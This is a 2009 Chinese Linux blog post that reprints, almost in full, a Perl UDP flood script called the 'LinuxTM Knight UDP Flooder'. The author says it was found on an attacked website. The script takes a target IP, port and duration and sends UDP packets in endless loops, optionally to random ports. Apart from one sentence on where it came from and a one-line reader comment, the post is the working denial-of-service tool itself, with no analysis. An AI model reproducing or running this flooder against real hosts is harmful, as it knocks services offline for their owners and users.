首页 > Linux技术 > a perl dDos attack sample

a perl dDos attack sample

2009年9月16日 wgzhao 发表评论 阅读评论
#!/usr/bin/perl
 
 
use Socket;
 
$ARGC=@ARGV;
 
if ($ARGC !=3) {
 printf "$0 <ip> <port> <time>\n";
 exit(1);
}
 
my ($ip,$port,$size,$time);
 $ip=$ARGV[0];
 $port=$ARGV[1]; 
 $time=$ARGV[2];
 
socket(crazy, PF_INET, SOCK_DGRAM, 17);
    $iaddr = inet_aton("$ip");
printf "\033[1;34m LinuxTM Knight UDP Flooder \033[1;0m \n";
printf "\033[1;34m Flooding $ip on port: $port To stop type: !* SH killall -9 perl \033[1;0m \n";
 
if ($ARGV[1] ==0 && $ARGV[2] ==0) {
 goto randpackets;
}
if ($ARGV[1] !=0 && $ARGV[2] !=0) {
 system("(sleep $time;killall -9 udp) &");
 goto packets;
}
if ($ARGV[1] !=0 && $ARGV[2] ==0) {
 goto packets;
}
if ($ARGV[1] ==0 && $ARGV[2] !=0) {
 system("(sleep $time;killall -9 udp) &"); 
 goto randpackets;
}
 
packets:
for (;;) {
 $size=$rand x $rand x $rand;
 send(crazy, 0, $size, sockaddr_in($port, $iaddr));
} 
 
randpackets:
for (;;) {
 $size=$rand x $rand x $rand;
 $port=int(rand 65000) +1;
 send(crazy, 0, $size, sockaddr_in($port, $iaddr));
}
</time></port></ip>

来源于某网站攻击后留下来的脚本,除此之外,还有很多类似的脚本。

原创文章,转载请注明: 转载自Linux|系统管理|WEB开发

本文链接地址: a perl dDos attack sample

分类: Linux技术 标签: ,
  1. 2009年9月17日17:10 | #1

    dDos ,,,,宿病啊。。

    回复回复
  1. 本文目前尚无任何 trackbacks 和 pingbacks.